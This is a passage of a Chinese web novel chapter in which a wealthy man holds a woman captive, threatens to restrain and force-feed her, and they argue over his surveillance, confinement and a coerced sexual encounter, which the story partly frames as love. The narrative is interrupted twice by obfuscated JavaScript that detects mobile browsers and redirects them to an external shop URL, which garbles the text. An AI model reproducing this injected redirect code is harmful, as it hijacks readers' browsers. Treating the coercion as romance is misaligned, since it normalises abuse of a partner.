“在我这儿,想自杀也没那么容易。若是被我发现你敢寻死……” 王暄按着她的肩膀,把人压在身下,又俯身去咬她的耳垂,低声威胁道:“我会把你拷在床上,24小时都有人看守,敢绝食就给你灌进去,再戴上口枷,让你想咬舌都做不到。” 李浪帆被他突如其来的疯话气笑了,“那你还要我做什么?我和充气娃娃的唯一区别就是我不吃不喝会死是吗?” “不想被这么对待就别惹我。”王暄发泄完之后,舔了舔她耳朵上的牙印,然后又轻柔地吹着自己制造的伤痕。 李浪帆敏感地抖了一下,咬牙道:“以你的身份,什么样的人得不到?在我这消耗精力何必呢!” “我还就认定你了。”王暄凝视着她的双眸,斩钉截铁地说。 “你到底看上了我什么?”她不得已示弱道:“我没有学历,没有稳定的工作,没有社会地位,没有家世背景,没有温和柔顺的性格,和现在的你也没有共同语言。” 王暄被最后一句话刺到了,他完全不认为两人没有共同语言,而且“现在”这个词,会让他有被比较的感觉。 “如果说在蓝夜那天晚上,你是被我的脸所吸引,那我可以告诉你……你的白月光马上就要回国了,你完全可以和高霏再续前缘。” 李浪帆声音苦涩,垂眸将头扭向一边,“放过我这个劣质的替代品吧。” “我说过了,我只要你。”王暄重申。 她再次确认:“不是因为这张和高霏相似的脸?” “不。人不可能只爱上一副皮囊,至少我不会。”王暄补充道:“我不喜欢别人。” 李浪帆有些诧异,想了想又问:“你到底图我什么?天之骄子想在我身上找优越感?就算泰森一拳打倒了霍金,也体现不出他的强壮吧?” 王暄无奈地捏了捏眉心,“你明知道不是。” “那你只能是喜欢我的内在了。”她随口道。 王暄并不想承认,让他明确、直白地表达喜欢,着实是强人所难。 但他更不想造成不必要的误会,最终艰难地说道:“是。” 李浪帆在一瞬间有些高兴,随即又为这点高兴而感到可耻。 “清醒点!小李!你还不至于这么缺爱!” 她盯着天花板,在心里不断提醒自己,这个人对她犯下了不可饶恕的罪行,怎么可以因为一点甜言蜜语就态度松动! 过了一会儿,李浪帆侧过身看着王暄,决定最后一次和他谈谈。 她从王暄漆黑的瞳孔中看到了自己。 “但你有没有想过,你的种种行为,即便成功了,会打造一个什么样的我?” 李浪帆深吸一口气,“听话的、温顺的、乖巧的,对你唯命是从的我。从今往后,再不敢忤逆你分毫,你只需一个眼神扫过来我就战战兢兢。每天除了呼吸,想的就是该如何取悦你,如何对你俯首帖耳。” 叹息之后,她问:“你更喜欢这样的我吗?” “不是!”王暄立刻否认,“我不会要求你做到这种地步。” 他终于后知后觉,自己并不想看到李浪帆委屈难过的神色,不想看到她惊恐害怕的表情,不想看到她谨小慎微的样子,更不想看到她在自己强权的压迫下,变得唯唯诺诺、卑躬屈膝。 她颤抖的肩膀、哽咽的语调、苍白的脸庞、麻木的逢迎,没有一个是他愿意看到的,总觉得这些与“李浪帆”三个字毫不适配。 可是,征服的渴望在心底叫嚣,掌控的欲念在血脉奔涌,王暄根本无法克制,那是刻在基因里的天性。 他也不知道自己这是中了什么邪,总觉得从很早以前开始,他和李浪帆就在一起了,并且他们也应该一直这么下去。 李浪帆平静地说:“你看,你从没有平等的看待过我。就连承诺都是‘我不会要求你’这种话。但你有没有想过,凭什么是你要求我?凭什么我要守你的规矩?怎么?我生来有罪,活该受你践踏?” “你当然也可以向我提要求,只要我能做到。”他不假思索地回答。 不过听李浪帆的语气,她似乎怨念颇深,好像和他在一起是人生莫大的痛苦,自己随口一句话就能引起诸多敏感的解读。 王暄不太明白,迟疑着问道:“我对你……不好吗?” “哈?”李浪帆怀疑自己幻听了,简直不敢相信王暄是怎么好意思问出口的。 她气得一下坐了起来,身上的被子也抖落在腰间。 “你扣押我的证件;监控、窃听、跟踪种种手段层出不穷;半夜带着保镖闯入我房间,羞辱我以后再强行逼迫我发生关系;把我带回你的房子里软禁,稍有不满便威胁恐吓……” 李浪帆对他的恶行一一细数,“你所说的‘好’指的是这些吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010540|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 王暄知道她可能会因此不开心,但他自认,这些手段在他们这个阶级的圈子里,绝对算得上温和。 若是换了别人,她一身傲骨恐怕早就被敲碎了。 他既没有一边玩弄李浪帆的感情,一边找个世家千金结婚;也没有像其他人那样,连名分和金钱都吝于给予;没有在聚会时把她带去要她卑微侍候;更没有剥夺她的私人空间和时间,让她只能一天24小时围着自己转。 李浪帆要追求自我价值,出去工作那么久,两人聚少离多,这也罢了。几次三番出言顶撞,还敢甩他巴掌,甚至想置他于死地,这些他都没有计较,也没施加给她任何实质性的惩罚。 他对李浪帆,难道还不够好吗? 王暄坐起身来,拉着被子将人裹住大半抱在怀里,将心底的疑惑说出口。 “这是你们这个圈子太过畸形!所有人都内心扭曲!才把你衬的像个正常人!”李浪帆情绪激动,连声调都拔高了。 “怪不得孟母要三迁呢!环境的影响真是重要啊!你少跟那些变态厮混!”她口气之中尽是鄙夷。 “你有没有想过,是身份带来的巨大鸿沟让你下意识地俯视我。你说的那些,完全是作为一个伴侣,应该做到的基本条件。”话音刚落,她干痒的喉咙忍不住连声咳嗽起来。 王暄喂她喝了几口温水。 正所谓吃人嘴软,她接下来的话便有些气势不足。 “我也没有在和你交往的同时,与其他男人暧昧不清;我也没有借你的声势,来大肆宣扬自己魅力非凡;我更没有干涉你的工作,叫你必须在家陪我。” 李浪帆嘟囔着说完,给王暄留出了思考时间,然后才说:“我对你也能做到如此,但是你根本不会觉得这些难能可贵。” 王暄微微一笑,觉得她最后描述的情景似乎很不错,比起工作,自己好像更想和她在一起。 李浪帆却误解了,她控诉道:“你看!你都笑了!你如果这么命令我,只会觉得理所应当,但如果由我提出来,你会认为我倒反天罡,是在白日做梦。所以,醒醒吧……这不叫喜欢,也不叫爱,这是上位者对下位者的掌控,是完全不平等的情感关系。” “我……”王暄没想好该怎么反驳。 “你的爱更像是宠,就像主人会给宠物买罐头、玩具,被它抓一下也不会计较。会给它带上项圈,铭牌上刻字来证明这是某某人所有。但主人不会去了解宠物的内心,不需要触及它们的灵魂,宠物的繁育权也攥在主人手里,想让它配种便配种,想给它绝育就绝育。” 她边说边比划,“宠物需要牵绳子防止走丢,但人不需要在脖子上挂个锁链,人是可以自己决定去留的。” 李浪帆除了开会时讲创作思路,再也没有一次性讲过这么长的话,她觉得今天已经说得够多了。 但有些话确实不吐不快,而王暄确实算得上是合格的倾听者。 他对这些指控,没有打断、没有发怒、没有厌烦,每一句都认真听进去了。 李浪帆看在眼里,心中因为他某些行为而变为负数的印象分,开始略有回升。 王暄等她说完了,这才生硬地为自己解释道:“最开始,我误会你是故意接近我的商业间谍,所以才安装那种软件。” 她欲言又止、止又欲言,最终语气勉强地说:“……行吧,这个理由也算凑合。” “至于昨晚……只要你不试图离开,我保证不会再让这种事情发生。”王暄诚恳地说。 听着他的前置条件,李浪帆只觉这一晚自己都在对牛弹琴,她已经不想再重复“人是可以自己决定去留的”这句话了。 “唉——”她长叹一声,背对着王暄躺下,失去了所有交流的欲望。 过了很久,就在王暄以为她已经睡着了的时候,只听见幽幽的声音传来:“我心里已经有一个人了,所以不能和你在一起。” 69. 找茬 王暄没有问那个人是谁。 他很清楚那个人是谁。 是不知道在哪个世界的,和李浪帆有着无数过去的,他无法证实的,另一个自己。 李浪帆亲口对他讲述过他们的曾经,那其中隐藏着千百个甜蜜片段。 他嫉妒得快要发狂。 自己在李浪帆眼里,不过是她那个未婚夫的替代品,又或许连替代品都算不上。 而另一个世界的他,不仅实现了少年时的梦想,过着想要的生活,竟然还能得佳人倾心。 美丽的皮囊常见,但智慧的头脑,坚韧的意志,凛然的侠气却属实难得。 这女人像是荆棘丛中挣扎开出的花,除了烈性难驯以外,简直符合他所有的癖好。 若不是那晚机缘巧合,若不是她先入为主,把他当成了别人,两人连片刻的交集都不会有。 王暄想到这里,眼神更加晦暗不明。 “不好意思。”他在心中对另一个自己说:“你的未婚妻,现在是我的了。” 李浪帆对王暄此刻的心情毫无所觉,只盘算着怎么才能尽快离开这个是非之地。 她实在没兴趣当别人的笼中雀,不管这笼子有多么名贵,不管笼子的主人是谁。 想着想着,呼吸逐渐平稳,终于沉沉睡去了。 * 李浪帆已经好久没生过病了,没想到这次发烧会反反复复。 一觉醒来,王暄给她量了体温,39.8℃。 她除了浑身乏力,倒也没有其他难受的感觉,意识也很清醒。此刻正半靠在床头,看着王暄焦急担忧的神色。 柳医生很快配好药,好在昨天的留置针没拔,她省的再挨一针。 过了一会儿,早餐也送进来了。 “想吃哪个?” 可能是因为生病的缘故,王暄看她的眼神都充满了怜爱。 李浪帆对这些精致的早餐毫无兴趣,高烧的她根本没有胃口,想说不吃,又怕这人一个不高兴就要给她插胃管。 “我想洗脸刷牙。”昨天的威胁言犹在耳,她只能找借口拖延。 “好。” 王暄答应地异常痛快,关了液体,拔下针头,给她穿上拖鞋,然后抱到了洗漱台前。 李浪帆从镜子里看见王暄站在自己身后,前天晚上的画面在眼前浮现。 镜子冷硬的触感似乎还残存于小臂上,她立时一激灵。 “怎么了?站不住吗?”王暄揽住了她的腰。 他原是怕李浪帆因为发烧无力而磕碰到,可在她听来,便和那晚被强迫时听到的下流荤话别无二致了。 她挣扎了一下,但没有挣脱腰间的手臂,只能无措地说:“你别这样。” 看到镜中人连脖子都羞红了,王暄这才明白她在别扭什么。 他一时有些心虚,怕李浪帆想起自己的罪证更要生气了,于是连忙岔开话题道:“你左手最好别湿水,我帮你洗脸。” 李浪帆看见他食指和中指上没有愈合的伤痕,心怦怦直跳,唯恐他借机发难。 “我单手也可以洗的,你……你……”她想叫王暄去处理一下手指的伤,但又不知道要怎么开口。 或许是昨晚的交谈起了作用,高高在上的男人终于学会了尊重别人的意见,没再强硬地要她按照自己的意思来。 他拿起放在一旁的白熊发箍,帮李浪帆戴上,又捏了捏小熊耳朵。 这个发箍还是李浪帆在宁越市买的,他那天在民宿把人抓回来后,连带着她所有的私人物品都放进自己房间里了。 吃软不吃硬的李浪帆看他又是帮自己挤洗面奶,又是挤牙膏的,秉持着伸手不打笑脸人的原则,难得说了声“谢谢”。 “跟我还客气什么?” 王暄眼中带着盈盈笑意,等她洗漱完后,又把人抱回了床边。 液体重新挂上,移动的小餐桌也被推了过来。 “先喝点粥?”王暄端着碗过来,舀起一勺,轻轻吹了吹,递到她嘴边。 看着王暄体贴的样子,李浪帆忽然计上心来,飞速看他一眼,为难道:“我不想喝粥。” “喝点牛奶好不好?”王暄放下碗,又拿起了牛奶,好脾气地问。 她目光在桌子上搜寻一圈,干脆地说:“不要,我想喝胡辣汤。” 李浪帆原本想说要吃镶银芽,故意找茬让王暄赶快厌烦她,别老守着家里。 但这个太抽象了,她觉得说出来会显得自己脑子不正常。 “不可以,你喉咙还肿着,不能吃辛辣的。” 李浪帆内心不断给自己加油打气,一定要克服羞耻心!能把王暄膈应走,就离自由不远了! 她已经想好要夹着嗓子,一哭二闹来扮演作精了,毕竟这个男人真的很讨厌矫揉造作、无理取闹的人。 只是所有预想的表演最终全化为了嘴角的抽搐。 这种事情只是在脑子里想想,她就已经觉得颜面扫地了。完全不是自我鼓励就能克服的困难。 王暄看她眉头紧蹙,纠结与羞恼写在脸上,自觉地将这一切归结于她对自己的不满上。 “现在先吃点清淡的好不好?等你病好了,我保证不干涉你。” 李浪帆觉得如果这时候突然掀翻桌子,把早餐全打翻在王暄身上,可能会把他气得拂袖而去,说不定连好感也会一落千丈。 想到这里,她有些心动,但转念一想,这么干可能会被王暄按在床上狠狠教训,又觉得划不来,最后只能作罢。 带着对自己那份恨铁不成钢的怨气,李浪帆食不知味地咽了半杯牛奶,吃了几口鸡蛋饼,便不肯再张嘴了。 王暄想到生病的人都没什么胃口,也就不再勉强,迅速解决了她吃剩下的食物。 餐具很快被人撤走,柳医生再次进来给她量了体温,现在降到38℃了。 “要不要再睡会儿?” 李浪帆摇头拒绝,伸手提出要求:“手机还我。” 王暄似笑非笑地扫她一眼,“联系人只有王琮的手机,你要来干什么?” “看动画片。”她理所当然道。 “……用电视看。”他说。 李浪帆只得打开电视,接着无所事事地翻起了片单。 顾管家把王暄的电脑送了进来,放在不远处的桌子上。后面还跟了个人,端着茶具,倒过水后和管家一起离开了。 她瞥了一眼,问道:“要办公?” “马上有个会议要开。” “那你去公司开,不要在这里打扰我看电视。”李浪帆忍着心虚开始鸠占鹊巢。 “你看你的,我戴耳机,不会影响你。”王暄说着,插上了耳机。 “有什么我听不得的勾当吗?” 话一出口,李浪帆就在心中感叹,果然,挑衅和对抗才是刻进她DNA里的东西。 王暄认命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085080|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拔下耳机,“满意了吗?” 她冷哼一声。 过了不到半分钟,烦躁的声音再次传来:“好无聊!” “你不是要看动画吗?” “又不想看了。” 王暄抬头看向电视,节目单已经被她翻到了二十多页。 “那你想干什么?” 他点进了视频会议,微弱的嘈杂声响起。 画面中,除了他以外的所有参会者都坐在公司的会议室里。 李浪帆面无表情道:“你不要开会了,拿手风琴给我拉一首维瓦尔第的《四季》。” 她觉得这刁难毫无创意,但毕竟是第一回做这种事,于是安慰自己情有可原。 四十多分钟的曲子,王暄是一定不会答应的。等听到拒绝,她就可以借题发挥。 “你先看会儿电视,等我开完会再说,好不好?” 很好,他果然不答应。 李浪帆揪起枕头就向他扔过去。 王暄被结结实实的砸到了。 然而接下来的走向并没有照着她设想的剧情发展,这让她后面的台词一时卡壳了。 王暄脸上没看到任何生气发怒的迹象。 只见他肩膀微微颤动,似乎是在忍笑。 “宝贝,还好你没有进娱乐圈……你的演技真的很拙劣。” 李浪帆目的暴露,尴尬地攥住了被角。 “听不懂你什么意思。”她故作镇定道。 “想赶我走?”王暄好笑的点破她的小心思,“你还在发烧,这里是二楼,翻窗逃跑很容易受伤。” 她冷漠否认:“我可没这么说。” 没这么说,不代表没这么想。 王暄不想多提这件事,只柔声安抚道:“我十多年没碰过乐器了,要是想听,等我学学再给你弹。” 说完他就打开了麦克风,对着电脑那边吩咐了一句“开始吧”,便不再理会她。 李浪帆听着他们的会议内容,应该是年终工作报告。 她故意选了一集杀社长的中配版柯南,然后调大了音量。 王暄微微蹙眉,但什么也没说。 动画虽然放着,但是她注意力全在这边的会议内容上,过了不久就调低音量,开始听他们都在说什么。 会议上先是做了今年的工作回顾,在营收利润、业务发展、投资回报、市场表现、科技创新等等方面做了概述,充斥着各种数据,同比、环比,以及占行业与市场比重。 除了营收利润那串天文数字给她带来了不小的震撼外,其余内容几乎都在她的知识盲区,她最多用听到的数据去计算一下基期。 但是王暄能放着这种会议不去现场,反而要在家寸步不离地守着她…… 李浪帆深深看他一眼,不得不重新评估起成功逃离的可能性。 突然,她听到了一个耳熟的公司名称——野火传媒。 “喂——”李浪帆再也没能忍住,高声道:“劝你们离袁家和高家的买办企业远点,不然,小心启鸣万劫不复。” 会议室那边,正在发言的声音也停下来了,显然,视频那头的人都听到了这句话。 “看我干什么?”李浪帆冷笑道:“不信就去查,他们那点勾当总不可能瞒天过海。” “待会儿再跟你说。”王暄意味深长地看着她。 李浪帆毫不在意地耸耸肩。 “会议继续。”